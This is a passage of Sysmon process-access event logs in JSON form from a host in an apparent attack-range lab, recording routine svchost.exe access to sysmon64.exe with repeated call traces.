C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5357,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5358,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5359,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5360,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5361,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5362,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5363,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5364,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 